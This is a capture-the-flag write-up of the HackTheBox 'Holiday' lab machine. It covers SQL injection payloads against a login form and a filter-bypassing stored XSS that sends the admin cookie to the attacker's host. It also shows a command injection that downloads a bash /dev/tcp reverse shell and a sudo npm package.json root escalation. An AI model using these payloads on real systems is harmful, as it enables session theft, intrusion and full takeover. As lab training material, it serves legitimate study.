HackTheBox Holiday
Writeup for HackTheBox Holiday
Machine Synopsis
Holiday is definitely one of the more challenging machines on HackTheBox. It touches on many different subjects and demonstrates the severity of stored XSS, which is leveraged to steal the session of an interactive user. The machine is very unique and provides an excellent learning experience. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -p- --min-rate 10000 10.10.10.25
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
❯ nmap -p 22,8000 -sC -sV 10.10.10.25
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)
| 256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)
|_ 256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)
8000/tcp open http Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Lets check out the website on port 8000
.
1
2
3
4
5
6
7
❯ dirsearch -u http://10.10.10.25:8000
...
[23:54:44] 302 - 28B - /admin -> /login
[23:54:45] 302 - 28B - /admin/ -> /login
[16:54:48] 200 - 1KB - /login
[16:54:48] 200 - 1KB - /login/
...
There’s an /admin
and /login
endpoint found.
Trying simple login credentials such as admin:admin
or admin:password
didn’t work.
Lets use sqlmap
to help us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ sqlmap -r login_req --risk=3 --level=5 -T users --dump --threads 10
...
[17:05:00] [CRITICAL] unable to connect to the target URL ('Connection refused'). sqlmap is going to retry the request(s)
there seems to be a continuous problem with connection to the target. Are you sure that you want to continue? [y/N] y
...
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 453 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=admin") OR NOT 4172=4172 AND ("ZJNx"="ZJNx&password=admin
---
[17:05:44] [INFO] the back-end DBMS is SQLite
web application technology: Express
back-end DBMS: SQLite
...
+----+--------+----------------------------------+----------+
| id | active | password | username |
+----+--------+----------------------------------+----------+
| 1 | 1 | fdc8cd4cff2c19e0d1022e78481ddf36 | RickA |
+----+--------+----------------------------------+----------+
Cracking the hash fdc8cd4cff2c19e0d1022e78481ddf36
on CrackStation reveals the password nevergonnagiveyouup
.
Alternatively, we could manually hunt for the exploit by trying the following SQLi in the HTTP requests.
1username=admin"))-- -&password=admin
This works because most likely the SQL statement is
select passwords from users where ((username="input"))
How do you tell if the SQLi is working? Instead of the page returning
Invalid User
, it will returnError Occurred
.Then we find number of columns.
1 2username=admin")) order by 4-- -&password=admin username=admin")) union select 1,2,3,4-- -&password=admin
Assuming that we know the server is using
sqlite
, we can find a way to print the version of the SQL.
1username=admin")) union select 1,sqlite_version(),3,4-- -&password=admin
Next we can print the table names.
1username=admin")) union select 1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'-- -&password=admin
Next we can print the column names for
users
table.
1username=admin")) union select 1,group_concat(sql),3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'-- -&password=admin
Next, we can dump the info from the table
users
.
1 2username=admin")) union select 1,group_concat(username),3,4 FROM users-- -&password=admin username=admin")) union select 1,group_concat(password),3,4 FROM users-- -&password=admin
All payloads referenced for
sqlite
are taken from PayloadAllTheThings.
Exploitation
Login in to the Booking Management portal with RickA:nevergonnagiveyouup
shows us the following dashboard.
Clicking on any UUID shows us the following details.
Clicking on the notes tab shows the following input.
There is an interesting information below the notes input: All notes must be approved by an administrator - this process can take up to 1 minute.
.
Submitting a simple <script>alert(1)</script>
payload returns us the following result <script>alert(1)</script>
.
This shows that there might be some filters happening in the backend.
We can try another payload <img src=1 href=1 onerror="javascript:alert(1)"></img>
. This time the server returns the following result <img src=1></img>
.
This may indicate that the server accepts <img>
tag. Lets try to start a server and submit a simple XSS
payload.
1
<img src='http://10.10.16.23/test.jpg' />
1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - code 404, message File not found
10.10.10.25 - - "GET /test HTTP/1.1" 404 -
Nice! We managed to get a callback from the server. Now we just have to find ways to get a script tag into the payload.
Using this payload <img src="x/><script></script>">
resulted in <img src=x/><script></script>>
. It seems like there’s a way to put a script
tag in the payload.
Here’s what we know so far.
- The input only allows for
<img>
tags and we found a way to embed<script>
tag in. - Quotations (single and double quotes) are filtered. With this in mind, we will have to use encoded payloads.
Encode the following payload document.write('<script src="http://10.10.16.23/cookie.js"></script>');
using CyberChef.
Here is the final XSS payload that we will submit in the input.
1
<img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,50,51,47,99,111,111,107,105,101,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>">
Then we will host the file on our server and start a netcat listener to catch the incoming connection.
1
2
3
4
5
6
❯ cat cookie.js
window.addEventListener('DOMContentLoaded', function(e) {
window.location = "http://10.10.16.23:8888/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})
❯ python3 -m http.server 80
Alternatively, we could use this
.js
file instead if we want the entire HTTP response.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ❯ cat response.js // Send a GET request to fetch data from the local server var req1 = new XMLHttpRequest(); req1.open('GET', 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65', false); req1.send(); // Store the response from the server var response = req1.responseText; // Send a POST request to forward the retrieved data to our server var req2 = new XMLHttpRequest(); req2.open('POST', 'http://10.10.16.23:8888/response', true); req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); // Encode and send the response data var encodedResponse = encodeURIComponent(response); req2.send(encodedResponse);
1
2
3
4
5
6
7
8
9
10
11
❯ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 48836
GET /?cookie=connect.sid=s%253A457e3d80-e62e-11ef-bd43-cf9e0fb0879d.8VCVvWUEWXnuWeseitCbJAVfds2XHDwxLqSEto5YXug HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 10.10.16.23:8888
We got a hit on the admin cookie!
We can update our current session token with the admin session token and refresh the page.
Remember that we found a /admin
endpoint previously?
Lets export the bookings and notes to our local machine for analysis.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ cat export-bookings-1739028438045
1|e2d3f450-bdf3-4c0a-8165-e8517c94df9a|Wilber Schowalter|A697I|Werner.Walsh56
@gmail.com|183.0|1497933864607|1498458169878|Alishabury
2|2332eef6-0f05-413a-aac1-ac5772e9dd8a|Sedrick Homenick|3RMYF|Hermann.Gutmann
@gmail.com|847.0|1515149552629|1520893749909|New Dedric
3|ffd52467-9fa2-4b9a-90f7-995cbc705055|Miss Gisselle West|PP9VY|Gordon2@hotma
il.com|502.0|1515329040778|1521227597426|West Jammie
...
❯ cat export-notes-1739028439288
1|31|<script>alert(1)</script>|1739017725407|1
2|31||1739017770213|1
3|31|<img src=1 href=1 onerror="javascript:alert(1)"></img>|1739017860494|1
...
Lets analyze the export function on Burp Suite.
What if we try some command injections?
The response states that only characters in the range of [a-z0-9&\s\/]
are allowed. Lets try using &
instead of ;
and URL encoding it.
Nice! It worked.
Since we can’t use .
, we cannot use our IP in IPv4. Using this online tool, I converted my current tun0
IP to hex format.
1
10.10.16.23 --> 0a.0a.10.17 (0x0a0a1017)
1
2
3
4
❯ ping 0x0a0a1017
PING 0x0a0a1017 (10.10.16.23) 56(84) bytes of data.
64 bytes from 10.10.16.23: icmp_seq=1 ttl=64 time=0.042 ms
64 bytes from 10.10.16.23: icmp_seq=2 ttl=64 time=0.090 ms
Now we send a command injection that gets a reverse shell from us.
1
2
3
4
❯ cat rev
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.23/443 0>&1
1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - "GET /rev HTTP/1.1" 200 -
Finally we can execute the rev
file by sending the following HTTP request GET /admin/export?table=bookings%26bash+rev
.
1
2
3
4
5
6
7
8
9
10
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 36188
bash: cannot set terminal process group (1142): Inappropriate ioctl for device
bash: no job control in this shell
algernon@holiday:~/app$ whoami
algernon
algernon@holiday:~/app$ cd /home/algernon
algernon@holiday:~$ cat user.txt
54fc61db1ef37e5f0649c540f97cae32
Privilege Escalation
1
2
3
4
5
6
7
algernon@holiday:~$ sudo -l
Matching Defaults entries for algernon on holiday:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User algernon may run the following commands on holiday:
(ALL) NOPASSWD: /usr/bin/npm i *
Checking the sudo
privileges for algernon
shows that this user has the permission to run /usr/bin/npm
as root
.
Googling for npm sudo exploit
result in this GTFOBins guide. It states that we can escalate our privileges by running sudo npm
on a malicious package.json
file.
1
2
❯ cat package.json
{"scripts": {"preinstall": "/bin/sh"}}
Transfer the malicious package.json
file over to the /tmp
directory and run the exploit command.
1
2
3
4
5
6
7
8
9
10
11
12
algernon@holiday:/tmp$ wget http://10.10.16.23/package.json -O package.json
algernon@holiday:/tmp$ cat package.json
{"scripts": {"preinstall": "/bin/sh"}}
algernon@holiday:/tmp$ sudo /usr/bin/npm i --unsafe
> undefined preinstall /tmp
> /bin/sh
# whoami
root
# cat /root/root.txt
77006c4b20eeba12c59de4f7dbbd3221